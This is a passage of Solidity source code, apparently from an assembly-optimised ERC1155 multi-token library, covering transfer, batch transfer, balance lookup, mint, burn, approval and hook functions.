`operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, caller())\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n // forgefmt: disable-next-line\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), shr(96, shl(96, operator)))\n }\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), from, to)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155Received} check if `to` is a smart contract.\n if extcodesize(to) {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n calldatacopy(add(m, 0xc0), sub(data.offset, 0x20), add(0x20, data.length))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, data.length), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - `ids` and `amounts` must have the same length.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, amounts.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, ids.length)\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let amount := calldataload(add(amounts.offset, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, calldataload(add(ids.offset, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0x40)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, n))\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n n := sub(add(o, n), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), from, to)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransferCalldata(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155BatchReceived} check if `to` is a smart contract.\n if extcodesize(to) {\n let m := mload(0x40)\n // Prepare the calldata.\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0xc0)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n let s := add(0xa0, n)\n mstore(add(m, 0x80), s)\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, n))\n o := add(o, n)\n n := add(0x20, data.length)\n calldatacopy(o, sub(data.offset, 0x20), n)\n n := sub(add(o, n), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Returns the amounts of `ids` for `owners.\n ///\n /// Requirements:\n /// - `owners` and `ids` must have the same length.\n function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)\n public\n view\n virtual\n returns (uint256[] memory balances)\n {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, owners.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n balances := mload(0x40)\n mstore(balances, ids.length)\n let o := add(balances, 0x20)\n let end := shl(5, ids.length)\n mstore(0x40, add(end, o))\n // Loop through all the `ids` and load the balances.\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let owner := calldataload(add(owners.offset, i))\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner)))\n mstore(0x00, calldataload(add(ids.offset, i)))\n mstore(add(o, i), sload(keccak256(0x00, 0x40)))\n }\n }\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC1155: 0xd9b67a26, ERC1155MetadataURI: 0x0e89341c.\n result := or(or(eq(s, 0x01ffc9a7), eq(s, 0xd9b67a26)), eq(s, 0x0e89341c))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL MINT FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Mints `amount` of `id` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, to)\n mstore(0x00, id)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(address(0), to, id, amount, data);\n }\n\n /// @dev Mints `amounts` of `ids` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Loop through all the `ids` and update the balances.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Increase and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(address(0), to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL BURN FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_burn(address(0), from, id, amount)`.\n function _burn(address from, uint256 id, uint256 amount) internal virtual {\n _burn(address(0), from, id, amount);\n }\n\n /// @dev Destroys `amount` of `id` from `from`.\n ///\n /// Requirements:\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {Transfer} event.\n function _burn(address by, address from, uint256 id, uint256 amount) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n if iszero(or(iszero(shl(96, by)), eq(shl(96, by), from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Decrease and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n }\n\n /// @dev Equivalent to `_batchBurn(address(0), from, ids, amounts)`.\n function _batchBurn(address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n _batchBurn(address(0), from, ids, amounts);\n }\n\n /// @dev Destroys `amounts` of `ids` from `from`.\n ///\n /// Requirements:\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {TransferBatch} event.\n function _batchBurn(address by, address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Decrease and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL APPROVAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Approve or remove the `operator` as an operator for `by`,\n /// without authorization checks.\n ///\n /// Emits a {ApprovalForAll} event.\n function _setApprovalForAll(address by, address operator, bool isApproved) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`by`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, by)\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n let m := shr(96, not(0))\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, and(m, by), and(m, operator))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL TRANSFER FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_safeTransfer(address(0), from, to, id, amount, data)`.\n function _safeTransfer(address from, address to, uint256 id, uint256 amount, bytes memory data)\n internal\n virtual\n {\n _safeTransfer(address(0), from, to, id, amount, data);\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _safeTransfer(\n address by,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n // forgefmt: disable-next-line\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(from, to, id, amount, data);\n }\n\n /// @dev Equivalent to `_safeBatchTransfer(address(0), from, to, ids, amounts, data)`.\n function _safeBatchTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n _safeBatchTransfer(address(0), from, to, ids, amounts, data);\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _safeBatchTransfer(\n address by,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, from_)\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, to_)\n mstore(0x20, fromSlotSeed)\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(from, to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* HOOKS FOR OVERRIDING */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Override this function to return true if `_beforeTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useBeforeTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called before any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /// @dev Override this function to return true if `_afterTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useAfterTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called after any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _afterTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PRIVATE HELPERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Helper for calling the `_afterTokenTransfer` hook.\n /// The is to help the compiler avoid producing dead bytecode.\n function _afterTokenTransferCalldata(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) private {\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n }\n\n /// @dev Returns if `a` has bytecode of non-zero length.\n function _hasCode(address a) private view returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := extcodesize(a) // Can handle dirty upper bits.\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155Received} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155Received(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := 